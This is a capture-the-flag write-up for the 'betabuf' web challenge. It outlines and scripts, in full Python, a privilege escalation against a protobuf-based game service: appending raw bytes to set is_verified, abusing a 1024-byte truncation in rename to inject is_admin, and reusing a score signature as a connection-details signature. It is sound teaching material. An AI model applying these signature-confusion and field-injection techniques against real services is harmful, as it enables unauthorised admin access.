Web Exploitation
Challenge
Topic
protobuf
betabuf (435 pts)
Description
We regret telling the intern about Protocol Buffers. Hopefully they'll clean things up before we leave closed beta.
Clarification: The --trusted-proxy args are not intended to be a part of the challenge. They are there because the remote sits behind a proxy. You can ignore them.
Solution
Following is the idea of exploitation
Craft payload to make is_verified in account True
Craft is_admin True by utilizing vulnerability in 1024 bytes truncation in rename function
Because SecureConnectionDetails and HighScore has same structure (int/boolean, string), we can use HighScore signature as SecureConnectionDetails signature
import argparse
import json
import time
import requests
import game_pb2
def build_account_details(username, country):
details = game_pb2.AccountDetails()
details.username = username
details.country = country
payload = bytearray(details.SerializeToString())
payload.extend([0x40, 0x01])
return payload.hex()
def build_registration_invite(expires_in = 3600):
now = int(time.time())
invite = game_pb2.RegistrationInvite()
invite.invite_id = 1
invite.invited_by = "test invite"
invite.invitation_message = "test message"
invite.created_at = now
invite.expires_at = now + expires_in
return invite.SerializeToString().hex()
def register(base_url, username):
data = {
"account_details": build_account_details(username, "US"),
"registration_invite": build_registration_invite(),
}
r = requests.post(f"{base_url}/register", json=data)
r.raise_for_status()
j = r.json()
return j["token"], j["signature"]
def rename(base_url, token, signature):
payload = {
"old_user_token": token,
"old_user_token_sig": signature,
"new_username": "A" * 15 + "\u0018\u0018 \u0018",
}
r = requests.post(f"{base_url}/rename", json=payload)
r.raise_for_status()
j = r.json()
return j["token"], j["signature"]
def submit_score(base_url, token, signature):
payload = {
"score": 1,
"account_token": token,
"account_token_sig": signature,
}
r = requests.post(f"{base_url}/submit_score", json=payload)
r.raise_for_status()
j = r.json()
return j["score"], j["signature"]
def get_flag(base_url, admin_token, admin_sig, scd, scd_sig):
payload = {
"account_token": admin_token,
"account_token_sig": admin_sig,
"secure_connection_details": scd,
"secure_connection_details_sig": scd_sig,
}
r = requests.post(f"{base_url}/admin", json=payload)
r.raise_for_status()
j = r.json()
if "flag" not in j:
raise RuntimeError(f"Err: {json.dumps(j)}")
return j["flag"]
def main():
url = "https://betabuf.secso.cc"
username = "kosong"
username += "A" * (1000 - len(username))
token, sig = register(url, username)
admin_token, admin_sig = rename(url, token, sig)
scd, scd_sig = submit_score(url, admin_token, admin_sig)
flag = get_flag(url, admin_token, admin_sig, scd, scd_sig)
print(flag)
if __name__ == "__main__":
main()
Last updated